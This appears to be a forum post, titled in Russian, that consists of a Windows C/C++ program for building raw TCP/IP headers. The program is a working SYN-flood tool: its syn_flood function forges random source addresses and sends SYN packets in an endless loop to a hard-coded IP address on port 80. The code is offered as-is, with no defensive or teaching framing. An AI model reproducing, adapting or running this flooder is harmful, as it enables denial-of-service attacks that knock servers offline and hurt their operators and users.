Создание TCP/IP заголовка для отправки по Raw сокету

#pragma comment (lib, "ws2_32.lib")
#include <WinSock2.h>
#include <stdio.h>
#include <ws2tcpip.h>
 
#define DEFAULT_IP         "95.104.136.237"
#define DEFAULT_START_PORT 80
#define DEFAULT_END_PORT   80
#define DEFAULT_DELAY      150
 
struct ip_header {
    unsigned char   vhl;
    #define IP_V  (ip)  (((ip) -> vhl & 0xf0) >> 4)
    #define IP_HL (ip)  ((ip) -> vhl & 0x0f)
    unsigned char  type_of_service;
    unsigned short total_length;
    unsigned short id;
    unsigned short frame_offset;
    #define IP_DF 0x4000        /* dont fragment flag */
    #define IP_MF 0x2000        /* more fragments flag */
    #define IP_OFFMASK 0x1fff   /* mask for fragmenting bits */
    unsigned char  time_to_live;
    unsigned char  protocol;
    unsigned short checksum;
    struct  in_addr source_address, dest_address;   
};
 
struct tcp_header 
{
    unsigned short source_port;
    unsigned short dest_port;
    unsigned int   sequence_number;
    unsigned int   ack_number;
    unsigned char data_offset;
    #define TH_OFF(th)  (((th)->data_offset & 0xf0) >> 4)
    unsigned char   flags;
    #define TH_FIN  0x01
    #define TH_SYN  0x02
    #define TH_RST  0x04
    #define TH_PUSH 0x08
    #define TH_ACK  0x10
    #define TH_URG  0x20
    #define TH_ECNECHO  0x40    /* ECN Echo */
    #define TH_CWR      0x80    /* ECN Cwnd Reduced */
    unsigned short window_size;
    unsigned short checksum;
    unsigned short urgpointer;
};
 
unsigned short checksum(unsigned short * addr, int len)
{
        register int sum = 0;
        u_short answer = 0;
        register u_short *w = addr;
        register int nleft = len;
 
        while (nleft > 1)  {
                sum += *w++;
                nleft -= 2;
        }
 
        if (nleft == 1) {
                *(u_char *)(&answer) = *(u_char *)w ;
                sum += answer;
        }
 
        sum = (sum >> 16) + (sum & 0xffff);
        sum += (sum >> 16);
        answer = ~sum;
        return(answer);
}
 
char * build_packet(char * source_address, char * dest_address, unsigned short source_port, unsigned short dest_port)
{
    struct pseudo_tcp_header 
    {
        unsigned int source_address;
        unsigned int dest_address;
        unsigned char useless;
        unsigned char protocol;
        unsigned short total_len;
    };
 
    struct ip_header         * ip         = new ip_header;
    struct tcp_header        * tcp        = new tcp_header;
    struct pseudo_tcp_header * pseudo_tcp = new pseudo_tcp_header;
 
    int packet_size = sizeof(ip_header) + sizeof(tcp_header);
    char * packet      = new char[packet_size];
 
    //IP Header
    unsigned short ip_version        = 4;
    unsigned short ip_length         = 5;
    ip -> vhl                        = (ip_version << 4) | ip_length;
    ip -> type_of_service            = 0;
    ip -> total_length               = htons(packet_size);
    ip -> id                         = 0;
    ip -> frame_offset               = 0;
    ip -> time_to_live               = 255;
    ip -> protocol                   = 6;
    ip -> checksum                   = 0;
    ip -> source_address.s_addr      = inet_addr(source_address);
    ip -> dest_address.s_addr        = inet_addr(dest_address);
    ip -> checksum = checksum((unsigned short *) ip, sizeof(ip_header));
 
    //TCP Header
    tcp -> source_port            = htons(source_port);
    tcp -> dest_port              = htons(dest_port);
    tcp -> sequence_number        = htonl(rand() % 2000);
    tcp -> ack_number             = htonl(rand() % 2000);
    tcp -> data_offset            = 5 << 4;
    tcp -> flags                  = TH_SYN;
    tcp -> window_size            = htons(1337);
    tcp -> checksum               = 0;
    tcp -> urgpointer             = 0;
 
    pseudo_tcp -> total_len = htons(sizeof(tcp_header));
    pseudo_tcp -> useless   = 0;
    pseudo_tcp -> protocol  = IPPROTO_TCP;
    memcpy(&pseudo_tcp -> source_address, &ip -> source_address.s_addr, sizeof(unsigned int));
    memcpy(&pseudo_tcp -> dest_address,   &ip -> dest_address.s_addr,   sizeof(unsigned int));
 
    tcp -> checksum = checksum((unsigned short *) pseudo_tcp, sizeof(struct pseudo_tcp_header));
 
    char * ptr;
    ptr = packet;
    memcpy(ptr, ip, sizeof(struct ip_header));
    ptr += sizeof(struct ip_header);
    memcpy(ptr, tcp, sizeof(struct tcp_header));
    ptr += sizeof(struct tcp_header);
    
    return packet;
}
 
int syn_flood(char * dest_address, unsigned short dest_port, int delay)
{
    WSADATA wsaData;
    if (WSAStartup(MAKEWORD(2,2), &wsaData) != 0) {
        printf("WSA error\n");
        return -1;
    }
 
    SOCKET sockraw = WSASocket(
        AF_INET, 
        SOCK_RAW,
        IPPROTO_RAW, 
        NULL, 
        NULL, 
        NULL
    );
 
    if (sockraw == INVALID_SOCKET) {
        printf("sock creation error\n");
        return -1;
    }
 
    int optval       = 1;
    int set_sock_opt = setsockopt(
        sockraw,
        IPPROTO_IP,
        IP_HDRINCL,
        (char *) &optval,
        sizeof(optval)
    );
 
    if (set_sock_opt == SOCKET_ERROR) {
        printf("set_sock_opt error\n");
        return -1;
    }
 
    struct sockaddr_in remote;
    remote.sin_family      = AF_INET;
    remote.sin_addr.s_addr = inet_addr(dest_address);
    remote.sin_port        = htons(dest_port);
 
    char *         source_address = new char [16];
    unsigned short source_port;
    
    unsigned short ip1 = 0, ip2 = 0, ip3 = 0, ip4 = 0;
    
    while(true) 
    {
        ip1 = rand() % 255 + 1;
        ip2 = rand() % 255 + 1;
        ip3 = rand() % 255 + 1;
        ip4 = rand() % 255 + 1;
        sprintf(source_address, "%i.%i.%i.%i", ip1, ip2, ip3, ip4);
        source_port = rand() % 65536;
        char * packet = build_packet(source_address, dest_address, source_port, dest_port);
 
        int send_to = sendto(
            sockraw, 
            packet,
            sizeof(ip_header) + sizeof(tcp_header), 
            0x0, 
            (struct sockaddr *) &remote, 
            sizeof(remote)
        );
 
        if (send_to == SOCKET_ERROR) {
            printf("send error\n");
            return -1;
        }
 
        printf("send %d bytes packet from %s:%i to %s:%i\n", 
            send_to,
            source_address,
            source_port,
            dest_address,
            dest_port
        );
 
        delete packet;
        Sleep(100);
    }
 
    closesocket(sockraw);
    WSACleanup();
}
 
int main() 
{
    printf("Starting to Send SYNs\n");
    syn_flood(
        DEFAULT_IP, 
        DEFAULT_START_PORT,
        DEFAULT_END_PORT
    );
 
    return 0;
}